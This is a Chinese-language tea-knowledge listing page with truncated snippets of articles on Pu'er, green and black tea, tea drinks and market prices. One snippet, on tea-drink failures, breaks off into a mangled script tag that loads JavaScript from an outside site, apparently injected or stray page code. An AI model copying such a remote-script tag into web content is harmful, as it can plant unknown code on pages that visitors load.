茶知识
普洱熟茶的“渥堆”口感
普洱熟茶的"渥堆"口感热门收藏在上周刚结束的深圳茶博会上，普洱茶依旧是众人关注的焦点。不过，不少对普洱茶一知半解的消费者甚至连生茶和熟茶的概念都没搞清楚就冒然开始藏茶。据行家介绍，生茶和熟茶是工艺截然
2022-05-03
绿茶的介绍和泡法绿茶是我们祖先最早发现和使用的茶，绿茶又称不发酵茶，以茶树新梢为原料，经杀青揉捻，干燥等一系列工序制作而成，绿茶因其茶汤呈碧绿而叶底呈翠绿而得名。绿茶较多地保留了鲜叶内的天然物质，如茶
2022-05-03
茶饮料的三大失败旭日升是茶饮料的先驱，开创了中国茶饮料的千亿市场?script type='text/javascript' src='http://www.368tea.com/js/v.js'>?
2022-05-03
红茶金骏眉之殇金骏眉茶底。手工制茶的炭焙环节。说及正山小种，大多数人恐不明所以，而提到金骏眉，相信诸位会连连点头，见过喝过，非但价格贵，还是一种流行时尚呢。竟不知它，何谈身份啊！问题就来了，这世上，真
2022-05-03
安溪"柴烧"铁观音正式在厦门推出去年，以"柴烧"制作的陶瓷一时红遍两岸，而现在，铁观音也要"柴烧"。昨日，导报记者获悉，日前在广州网商交易大会、海西汽博会等亮相的安溪"柴烧"铁观音，已正式在厦门推出。
2022-05-03
普洱茶简单的冲泡简单点:先要有个紫砂壶或盖碗，壶价高低不一，盖碗就几元钱。公道杯一个，几个小瓷碗，滤网和滤网座，接水盘一个。基本配置就这些了，其他的东西就是锦上添花了。沸水冲洗茶具，放茶入壶或盖碗。洗
2022-05-03
花茶成为济南茶叶市场热销产品端午一过，泉城的气温随之上升。当高温来袭，品香茗、泡茶馆又成为备受泉城市民青睐的消暑方式之一。近日，记者走访济南茶叶市场发现，一方面，闷热的天气直接带动了各类花茶的热销。6
2022-05-03
选择茶饮料请看清含量炎热的夏季，不少市民喜欢喝茶饮料以代替茶来消暑，但有专业人士质疑，不少茶饮料配料表中没有标注"茶的成分含量"。对此，医学专家认为，夏季喝茶的确能达到消暑的效果，但泡的茶和茶饮料是完
2022-05-03
立顿推出3款全新口味樽装系列冰茶秋天的来临，将炎热的夏天带走了，同时送来了阵阵的凉风，而樽装的清怡解渴饮品，在这个时候必然是最佳配搭。立顿特别推出全新樽装冰茶系列，3款口味包括柠檬、柠檬绿茶及香橙红茶
2022-05-03
中国茶饮料消费市场年增长速度达30%近年来，全球软饮料市场发展迅速。从软饮料的品种来看，碳酸饮料仍占主导地位，占世界总销售额的54%，其次是果汁饮料和矿泉水，分别占18.5%和13.6%。但是随着人们
2022-05-03
云南古树普洱茶冷市后再次出现高价普洱茶越来越多地依靠文化来营销。图为2012茶博会。一饼普洱茶老茶，卖出数千乃至上万元天价的消息，在五、六年前层出不穷。随着近几年普洱茶消费回归理性，这样的情形似乎已成
2022-05-03
茶圈新势力 白茶也要做古董如果你是个不折不扣的茶腻子，你就会发现，如今在郑州茶圈里，正风生水起着一件事情，那就是继普洱茶之后，又一个茶品在上演"老茶"的故事--那就是来自福建的福鼎白茶。到茶市上转转，
2022-05-03
普洱茶再次发飙 消费需更趋理性化昨天下午，喜欢喝普洱茶的小林，照旧去上城区金鸡岭路上的一家茶庄里买普洱茶。看了下价格后，他发现比去年涨了不少。而茶庄的金老板对此表示无奈，" 去年卖给你的价格，我现在进
2022-05-03
选购茶饮料需先看茶多酚含量在《茶饮料》国家标准(GB/T21733-2008)中，对茶多酚含量作出了严格规定。茶饮料正日益成为人们首选的日常饮品。"100%原叶泡制"、"回甘就像现泡"是各大茶饮料品牌
2022-05-03
"普洱北行"天津首演将于明日开启笔者获悉，2012"健康中国，普洱北行"茶文化交流全国巡回活动的天津首站将于10月24日在天津利顺德大饭店举行。据主办方合和昌茶业有限公司介绍，普洱茶作为有益饮品已被广
2022-05-03
市售茶饮料中到底有多少茶多酚？茶多酚是茶饮料的金标准，可以看出饮料中的"纯茶"有多少。那么市售的茶饮料中有多少茶多酚？搜狐健康采用福林酚法检测了9种茶饮料的茶多酚含量，其中统一冰红茶最少、原叶蜜香茉莉
2022-05-03
普洱茶开始逐渐回暖市民今后喝普洱茶不用再提心吊胆，记者从昨日在津召开的"健康中国，普洱北行"茶文化交流论坛上获悉，由于自2007年对普洱茶全面实施食品质量安全市场准入制度（QS认证），提高了企业门槛，
2022-05-03
中国红茶的世界之旅红茶是一种全发酵茶，是茶文化中的主要茶品。红茶的产地主要有中国、斯里兰卡、印度、肯尼亚等地。红茶是经过采摘、萎凋、揉捻、发酵、干燥等步骤生产出来的，比绿茶多了一个发酵的过程。红茶与绿
2022-05-03
未来普洱茶产业将继续在"质"上创新"那时候，每天想得最多的是什么时候能填饱肚子。"十年前，29岁的杨顺华带着一家老小，从临沧市的乡下搬迁到了思茅区干海子茶场，开始种植大叶种茶树。"当时茶叶不值钱，茶树
2022-05-03
岩茶冬茶价值不如春茶记者近日走访市场发现，大部分消费者并不了解武夷岩茶冬茶与春茶的区别。而且目前武夷岩茶冬茶已经采制完毕，但是在福州五里亭茶叶批发市场上却看不见商家悬挂相关的上市信息。业内提醒，岩茶冬